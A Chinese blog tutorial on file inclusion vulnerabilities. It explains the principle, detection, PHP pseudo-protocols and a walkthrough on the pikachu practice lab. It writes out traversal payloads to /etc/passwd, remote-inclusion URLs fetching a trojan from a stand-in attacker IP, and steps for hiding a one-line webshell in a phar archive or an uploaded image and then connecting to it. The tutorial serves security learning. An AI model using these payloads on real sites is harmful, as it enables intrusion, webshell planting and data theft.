目录

0x0 文件包含漏洞原理

0x1 检测文件包含漏洞

0x2 文件包含漏洞类型

0x3 文件协议流

0x4 实战


简介

#文件包含漏洞

原理,检测,类型,利用,修复等

#文件包含各个脚本代码

ASP,PHP,JSP,ASPX等

<!-—#include file="1.asp " -->

<!--#include file="top.aspx"-->

<c:import url="http://lthief.one/1.jsp">

<jsp:include page="head .jsp" / >

<%@ include file="head.jsp" %>

<?php Include ( 'test.php ' ) ?>

0x0 文件包含漏洞原理

文件包含可以解析文件的代码,而直接HTTP服务访问文本的时候能发现只能是文本

文件包含源代码:

<?php
$filename=$_GET['filename'];
include($filename);
?>

通过文件包含漏洞访问文本文件时,不仅脚本格式进行解析,还运行到当前网站身上

直接访问txt文本,发现只是普通的字符串

简单的一句话来概括就是将指定包含文件里面的内容,以这个网站的脚本代码去执行,如果网站是php那就是php执行,如果是jsp,那就是jsp执行

0x1 检测文件包含漏洞

检测思路:

我们以靶场pikachu为例,可以用手工看参数值,filename意思是文件,那么也就是关于文件操作的安全,再看看它的变量名是php脚本。我们知道文件包含原理是执行网站的脚本代码,那么正常情况下包含的肯定是关于网站的脚本代码文件,而不是图片。那么此网页显示出了图片(可以判定通过php代码来显示图片),再通过搜索框里的文件名为php后缀,就可以判断出此服务是具有文件包含漏洞的性质。经过测试得知,filename是可控变量,那么后续操作就本地文件读取解析文件和协议流玩法

其他的检测思路:

白盒测试:代码审计

黑盒测试:搜索引擎,工具,手工

0x2 文件包含漏洞类型

类型有本地包含和远程包含,远程包含危害最大

这里只讲有限制的类型,无限制的没必要讲

本地包含-有限制

?filename=../../../etc/passwd%00

%00截断:条件是magicquotes_gpc =Off php版本<5.3.4

?filename=../../../etc/passwd../../../../(或者.)

长度截断:条件:windows,点好需要长于256;linux长于4096

远程包含-有限制

支持远程包含开关

?filename=http://攻击者ip/muma.txt%20

?filename=http://攻击者ip/muma.txt?

?filename=http://攻击者ip/muma.txt%23

不过我在测试实验的时候不小心犯了低级错误,希望大家不要和我发生同样的问题

我在测试的时候忘记了自己的网站服务是搭建在D盘里,而我的文件是在E盘所以我以为是我的文件包含代码写错了。

0x3 文件协议流

在ctf比赛中,文件包含可能涉及到伪协议,将伪协议放入文件包含中就能拿到flag

不同的版本支持的协议也不一样

file:///文件的绝对路径

php://filter/convert.base64-encode/resource=文件名 (php伪协议)

php://input(输入到搜索框)post输入php执行代码

data://text/plain,<?php php代码;?>

phar://伪协议
这个就是php解压缩包的一个函数,不管后缀是什么,都会当做压缩包来解压,用法:?file=phar://压缩包/内部文件 phar://xxx.png/shell.php 注意 PHP>=5.3.0压缩包需要是zip协议压缩,rar不行,将木马文件压缩后,改为其他任意格式的文件都可以正常使用。步骤:写一个一句话木马shell。php,然后用zip协议解压缩为shell.zip。然后将后缀改为png等其他格式

0x4 实战

pikachu(Inclusion local)

通过0x1的检测思路来判断该服务为文件包含漏洞

访问不成功,不具备远程包含的性质

通过文件上传的漏洞,尝试上传一张图片马

我们尝试一下路径对比,发现相同的点都在vul路径上, 那么通过文件包含漏洞的原理,可以知道网站是以脚本解析该包含文件的脚本代码,而不是以图片展示,那么只需修改路径让图片马的路径展示到该页面即可

http://192.168.3.12/pikachu/vul/fileinclude/fi_local.php?filename=file1.php(文件包含url)

http://192.168.3.12/pikachu/vul/unsafeupload/uploads/a.jpg

发现文件包含的url需要返回两级的目录即可到达muma的路径范围,那么构造的url路径为 ?filename=../../unsafeupload/uploads/a.jpg

可以发现网站并没有显示a.jpg图片而是以网站的脚本代码解析了该图片,现在尝试使用菜刀连接该url路径就成功了

当然也可以包含本地文件的敏感信息,windows中要区分是哪个盘,linx知道路径即可

Pikachu (Inclusion remote)

就有题目所说是远程包含漏洞,我也懒得测试了,可以发现输入百度链接的时候直接跳转,那么我们可以尝试构造一句话木马搭建在本地的服务,让文件包含解析到攻击者的文本文件而成功的触发到让脚本代码得到解析

编写test.txt

发现服务端的主机成功的被攻击者构造的文本文件进行代码解析,而让服务端本地的敏感信息得到泄露

可能你会问,为什么不是php后缀名而是txt格式,因为我尝试过了,如果是使用的是php格式,那么服务端访问的时候不仅不需要解析,而且只是单纯的访问我的php代码,执行的是我自己的脚本,而不是服务器。所以如果是文本让服务端的远程包含去访问,那么解析和运行的是服务端,而不是我。

协议流玩法:当然知道了对方的路径等信息,可以直接进行读取,或者其他协议流操作

0x4 总结

文件包含和SSRF漏洞很容易混淆,区别主要在于文件包含漏洞可以执行和解析脚本代码的文件还有协议流等操作。而SSRF漏洞一般是用于探测内网信息和端口服务,还有的就是配合协议流读取本地文件。我们知道修改了可控变量的时候导致了漏洞的触发,所以白名单限制的话会更安全

文件包含漏洞 文件伪协议利用相关推荐

  1. 第十天文件包含漏洞 php伪协议

    文件包含漏洞 PHP中常见包含文件函数 常见文件包含漏洞代码 文件包含漏洞的危害 伪协议 php使用input读取post请求体的内容 Data:// 数据 Zlib:// 压缩流 文件包含的漏洞的分 ...

  2. Wmm的学习日记(文件包含漏洞.PHP伪协议)

    这个星期浅浅学习了一下用PHP伪协议解决文件包含漏洞的问题,之前做到了好几题文件包含漏洞的题目,感觉用PHP伪协议是解决问题的一种方法,于是就在b站大学学习了一下,发现还是比较好理解的啦 目录 一.文 ...

  3. 90.网络安全渗透测试—[常规漏洞挖掘与利用篇6]—[文件包含-PHP封装伪协议详解实战示例]

    我认为,无论是学习安全还是从事安全的人,多多少少都有些许的情怀和使命感!!! 文章目录 一.文件包含-PHP封装伪协议简介 1.php内置封装协议 2.data://命令执行-伪协议 3.zip:// ...

  4. Apache Tomcat 曝文件包含漏洞:攻击者可利用该漏洞读取webapp目录下的任意文件...

    点击上方蓝色"程序猿DD",选择"设为星标" 回复"资源"获取独家整理的学习资料! 作者 | oschina 来源 | https://ww ...

  5. 【甄选靶场】Vulnhub百个项目渗透——项目十八:pwnlab_init(LFI本地文件包含,PHP伪协议,文件上传绕过,逆向分析)

    Vulnhub百个项目渗透 Vulnhub百个项目渗透--项目十八:pwnlab_init(LFI本地文件包含,PHP伪协议,文件上传绕过,逆向分析) 靶场地址

  6. php伪协议漏洞_php伪协议利用文件包含漏洞

    php支持多种封装协议,这些协议常被CTF出题中与文件包含漏洞结合,这里做个小总结.实验用的是DVWA平台,low级别,phpstudy中的设置为5.4.45版本 设置allow_url_fopen和 ...

  7. 什么是文件包含漏洞?文件包含漏洞分类!

    网络安全是安全产业的重要组成部分,也是国家高度重视且大力支持的重点方向,在当下十分受关注,正因如此,越来越多的人选择转行学习网络安全.提及网络安全,大家应该都知道网络安全中有很多漏洞,今天这篇文章主要 ...

  8. PHP文件包含漏洞原理分析和利用方法

    本文章简单摘要:一.涉及到的危险函数[include(),require()和include_once(),require_once()]include()&&require()语句: ...

  9. 文件包含漏洞及PHP伪协议

    文件包含漏洞及PHP伪协议 文件包含漏洞 1. 原理 攻击利用的原理 攻击成功的条件 2. 分类 本地文件包含 LFI的利用 远程文件包含 3. 文件包含漏洞防范 禁止0字节 在PHP中配置open_ ...

最新文章

  1. 搭建oracleRAC详解(裸设备)
  2. java判断点与线与面的关系_VC++开发GIS系统(280)判断点与面的拓扑关系
  3. UVA - 12083 Guardian of Decency (二分匹配)
  4. flask中的信号机制
  5. 什么时候用#{},什么时候用${}?
  6. 云网络的守护神:主动链路监控
  7. linux中python编译器的配置_方舟编译器环境配置及源码编译过程详解
  8. 【ElasticSearch】 ElasticSearch 写入流程
  9. ASP与數据庫,文本文件鏈接精髓
  10. 中琛源主要的产品是什么
  11. html css画圆形进度条,使用 css3 实现圆形进度条的方法
  12. Ubuntu18.04 安装 rabbitvcs svn 图形化客户端
  13. Java聊天室——一对一模式
  14. ubuntu 18.04 安装NVIDIA驱动 cuda/cudnn + tensorflow-gpu + pytorch
  15. Pcie(igb)网卡调试总结:tx uint hang异常解决方法
  16. 关于打破思维的墙读后感
  17. web前端之五子棋网页版小游戏
  18. 路由配置与管理——静态路由配置与管理
  19. Linux 中/etc/sysctl.conf
  20. 腾讯云公布大数据平台最新数据,日实时计算量超40万亿

热门文章

  1. java全栈工程师前景,已整理成文档
  2. android studio 根目录,AS 根目录结构说明
  3. 大类资产配置(一)均值方差模型MOV
  4. Python---第8天---字符串
  5. JavaSE基础笔记(全)
  6. 核显 linux 软件,同样的核显,看在线视频ubuntu更卡 - Linux系统与应用 - LinuxApp - 水木社区...
  7. 插入法排序c语言程序,C语言之插入排序算法
  8. 属兔2013年蛇年运程
  9. airplay服务器linux,树莓派搭建AirPlay服务实现WiFi无线音响外放
  10. jQuery HTML5文件上传美化插件jQuery.filer